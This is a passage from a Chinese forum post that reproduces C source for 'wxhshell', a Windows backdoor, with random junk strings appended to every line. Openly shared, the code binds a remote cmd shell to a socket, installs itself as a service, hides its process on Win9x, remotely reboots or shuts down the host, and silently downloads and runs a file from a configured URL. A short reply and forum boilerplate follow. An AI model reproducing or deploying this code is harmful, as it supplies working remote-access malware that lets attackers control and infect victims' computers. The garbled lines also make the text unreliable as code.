  if(DownloadFile(cmd,wsh)) RK.lz VaY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iz=cjmV?  
  else '/<\X{l8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xb:* KeZq  
  } ?'~u)O(n  
  else { A@>/PB6n  
:lXY% [!6P  
    switch(cmd[0]) { ~T H4='4W3  
  t|'%0 W  
  // 帮助 hk=[v7  
  case '?': { [KBa=3>{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0JtM|Mg  
    break; DU6j0lz  
  } LN+x!#:e  
  // 安装 bJn&Y  
  case 'i': { I8!>7`L  
    if(Install()) u)Kiwa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4c'6WGb@  
    else f~W+Rt7o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9_wDh0b~p  
    break; JL4E`  
    } C:No ^nH>  
  // 卸载 zV}:~;w  
  case 'r': { ?<jWEz=  
    if(Uninstall()) [q%`q`EG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60|PVsmDm  
    else ,j XK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>~@>/#  
    break; Q>4NUq  
    } JYWoQ[ZO#>  
  // 显示 wxhshell 所在路径 Q   
  case 'p': { W#U|;@"  
    char svExeFile[MAX_PATH]; 9]+zZP_#  
    strcpy(svExeFile,"\n\r"); lwfS$7^P  
      strcat(svExeFile,ExeFile); T(u; <}e@[  
        send(wsh,svExeFile,strlen(svExeFile),0); +JYb)rn$^  
    break; tRI<K  
    } "y~*1kBu  
  // 重启 q`mxN!1[  
  case 'b': { 2'=)ese  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eV!(a8  
    if(Boot(REBOOT)) MH)V=xU|)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf4` 2KN\  
    else { q`PA~C];  
    closesocket(wsh); 1|8Bv0-b  
    ExitThread(0); b;D  
    } M-].l3  
    break; dBA&NW07  
    } ,gk'8]  
  // 关机 \dU.#^ryp  
  case 'd': { 9IXy96]]6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8nBYP+t,e  
    if(Boot(SHUTDOWN)) #Hr'plg 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s:l H4B  
    else { y@v)kN)Y9\  
    closesocket(wsh); {HY3E}YJL  
    ExitThread(0); <ot`0  
    } 'y!qrmMRr  
    break; 5|0/$ SWd*  
    } 6p }a!  
  // 获取shell +x{o  
  case 's': { > }f!. i  
    CmdShell(wsh); gdD|'h  
    closesocket(wsh); W8QP6^lY  
    ExitThread(0); R\ 8[6H  
    break; ##''d||u  
  } ZRYlm$C  
  // 退出 .lj5pmD  
  case 'x': { :vIJ>6lIR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <w}^Z}fpk&  
    CloseIt(wsh); .!<yTh  
    break; p4IyKry,  
    } 4u*n7di$9d  
  // 离开 4tUoK[p  
  case 'q': { ::{\O\w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z59;Qk  
    closesocket(wsh); !GvT{  
    WSACleanup(); [xY-=-T*4  
    exit(1); ~q+AAWL  
    break; DcFY b|p  
        } >n/0od9  
  } yw:%)b{  
  } xU%]G .k  
6<@+J  
  // 提示信息 9c4p9b!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >lM/\HO2  
} U"|1@W#  
  } =D0d+b6  
M 2| k.  
  return; b=S"o )>  
} _,0.h*c  
/,uxj5_cT  
// shell模块句柄 CvRCcSJM\2  
int CmdShell(SOCKET sock) Oto8?4[n  
{ O7IYg;  
STARTUPINFO si; g&$5!ifgi  
ZeroMemory(&si,sizeof(si)); KsTGae;ds  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q p}2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HfH+U&  
PROCESS_INFORMATION ProcessInfo;  1H.;r(c  
char cmdline[]="cmd"; h{o,*QL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `+(n+QS _  
  return 0; bxPa|s?  
} {q$U\y%Rq  
w5y.kc;  
// 自身启动模式 PW%ith1)<  
int StartFromService(void) -*[)CR-{  
{ :RIqA/  
typedef struct d~_5Jx  
{ :9L}jz  
  DWORD ExitStatus; yqK_|7I+  
  DWORD PebBaseAddress; $X:,Q,?  
  DWORD AffinityMask; EP;ts  
  DWORD BasePriority; `K0.6i [p  
  ULONG UniqueProcessId; ~X2 # z |  
  ULONG InheritedFromUniqueProcessId; ~)$R'=  
}   PROCESS_BASIC_INFORMATION; VJ'-"8tY&  
jqvw<+#  
PROCNTQSIP NtQueryInformationProcess;  ~}p k^FA  
E`HA0/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c"k nzB vy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /|NyO+Io  
n(z$u)Y  
  HANDLE             hProcess; XFs7kTY  
  PROCESS_BASIC_INFORMATION pbi;  :Kyr}-  
_}j>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =>>Dnp  
  if(NULL == hInst ) return 0; f#AuZ]h  
:T PG~`k(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SF:{PgGMi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  w<!&%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SkipPEhA  
COW lsca  
  if (!NtQueryInformationProcess) return 0; xzz@Wc^_  
M@q)\UQ'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ie Chz d  
  if(!hProcess) return 0; <l,e6K  
c|m?f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tMU10=d  
@ >'Wiq!  
  CloseHandle(hProcess); @o@SU"[?_  
SK/}bZ;f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bk.`G)t  
if(hProcess==NULL) return 0; l0yflFGr  
y#Nrq9r:  
HMODULE hMod; S]T71W<i  
char procName[255]; p}GTOJT}  
unsigned long cbNeeded; JSh'iYJ .  
*S <I!7Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >~_>.R+{  
/;Cx|\  
  CloseHandle(hProcess); N{RHbSa(  
xPT$d,~"  
if(strstr(procName,"services")) return 1; // 以服务启动 cbou1Ei   
uVZm9Sp  
  return 0; // 注册表启动 JKp@fQT *  
} ?JRfhJ:j  
4u|6^ wu.I  
// 主模块 biV|W@JM  
int StartWxhshell(LPSTR lpCmdLine) #Sg/  
{ FDFVhcr  
  SOCKET wsl; e6jdSn  
BOOL val=TRUE; xXV15%&  
  int port=0; b0%#=KMi  
  struct sockaddr_in door; Z^A(Q>{e  
}EfRYE$E  
  if(wscfg.ws_autoins) Install(); ou|3%&*"  
b[n6L5P5m2  
port=atoi(lpCmdLine); @ohJ'  
'@hnqcqXq  
if(port<=0) port=wscfg.ws_port; A-\n"}4  
y fS  
  WSADATA data; [sPLu)q2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 75Bn p9  
Oh`Pf;.z%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z;YX 2G/{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2j>C4Ck  
  door.sin_family = AF_INET; zS?}3#g0u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;rCCkA6  
  door.sin_port = htons(port); V^9%+L+E5  
~te{9/   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /oM&29 jy  
closesocket(wsl); 8p~[8}  
return 1; t nmz5Q  
} ac4dIW{$3  
NlG!_D"(y  
  if(listen(wsl,2) == INVALID_SOCKET) { aI\ >=*HF  
closesocket(wsl); ok&v+A  
return 1; .$x822   
} <&M5#:u  
  Wxhshell(wsl); [z} $G:s  
  WSACleanup(); 99q$>nx,w  
,n5 [Y)  
return 0; Zr\G=0`  
1-4*YrA  
} 9Cb>J  
+w3k_^X9c  
// 以NT服务方式启动 x4_FG{AIu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 Uu  
{ 9JC8OSjJ  
DWORD   status = 0; !.{{QwZ  
  DWORD   specificError = 0xfffffff; }<P%W~  
6ozBU^n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w$I$xup  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~Oj-W6-+&,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +qF,XJ2  
  serviceStatus.dwWin32ExitCode     = 0; 9VTE?,  
  serviceStatus.dwServiceSpecificExitCode = 0; 3o__tU)B  
  serviceStatus.dwCheckPoint       = 0; ##NowO  
  serviceStatus.dwWaitHint       = 0; O~#OVFJ9=  
5Ul=Nv]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9c@\-Z'  
  if (hServiceStatusHandle==0) return; lFM'F[-?-  
U &W}c^#  
status = GetLastError(); "l09Ae'V  
  if (status!=NO_ERROR) w+ibY  
{ YC~kq?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p7)b@,  
    serviceStatus.dwCheckPoint       = 0; :}w^-I"  
    serviceStatus.dwWaitHint       = 0; QN m.8c$  
    serviceStatus.dwWin32ExitCode     = status; \?.M1a[  
    serviceStatus.dwServiceSpecificExitCode = specificError; Uefw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); obIYC  
    return; h@ ?BA<'S  
  } RE:$c!E!  
! XNTk]!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? #;zB  
  serviceStatus.dwCheckPoint       = 0; |a Ht6F  
  serviceStatus.dwWaitHint       = 0; !;C *Wsp}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2KmPZ&r  
} o[eIwGxZ  
j]_"MMwk$<  
// 处理NT服务事件,比如:启动、停止 %8GY`T:^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s%qK<U4@;Q  
{ ]+0I8eerd  
switch(fdwControl) thSo,uGlW  
{ )wY bcH  
case SERVICE_CONTROL_STOP: 80ms7 B  
  serviceStatus.dwWin32ExitCode = 0; d~J4&w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B\!.o=<h  
  serviceStatus.dwCheckPoint   = 0; U5wO;MA  
  serviceStatus.dwWaitHint     = 0; 'xp&)g L  
  { Q|}Pc>ae  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [I` 6F6  
  } PizPsJ|&  
  return; nM)H2'%kL&  
case SERVICE_CONTROL_PAUSE: [P_1a`b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @oL<Ioh  
  break; 6|:]2S  
case SERVICE_CONTROL_CONTINUE: !23#Bz7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y|iALrx  
  break; PUViTb  
case SERVICE_CONTROL_INTERROGATE: ^Ru/7pw 5  
  break; FLekyJmw~  
}; ztS'Dp}q<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O8:,XTAN  
} LA^H213N|  
A5ps|zidI  
// 标准应用程序主函数 &Qdd\h#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AiO29<  
{ 0TI+6u  
P}QuGy[  
// 获取操作系统版本 uB:utg  
OsIsNt=GetOsVer(); l0$ +)FKd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); COK7 i^  
u{ .UZTn  
  // 从命令行安装 x~tG[Y2F?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7MT[fA8^  
k iCg+@nT  
  // 下载执行文件 \/9uS.Kw  
if(wscfg.ws_downexe) { ~T[m{8uh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AcYL3  
  WinExec(wscfg.ws_filenam,SW_HIDE); v(t?d  
} [Hww3+~+  
vx_v/pD  
if(!OsIsNt) { >p 7e6%  
// 如果时win9x,隐藏进程并且设置为注册表启动 K G~fDb  
HideProc(); { O*maE"  
StartWxhshell(lpCmdLine); &?<o692  
} 3RP}lb  
else %G$KahxV>  
  if(StartFromService()) jibrSz  
  // 以服务方式启动 ^8nK x<&5  
  StartServiceCtrlDispatcher(DispatchTable); ,wlh0;,  
else )S|}de/a2  
  // 普通方式启动 bewi.$E{  
  StartWxhshell(lpCmdLine); 1qb 3.  
F3b[L^Km]  
return 0; 0Kjm:x9T  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八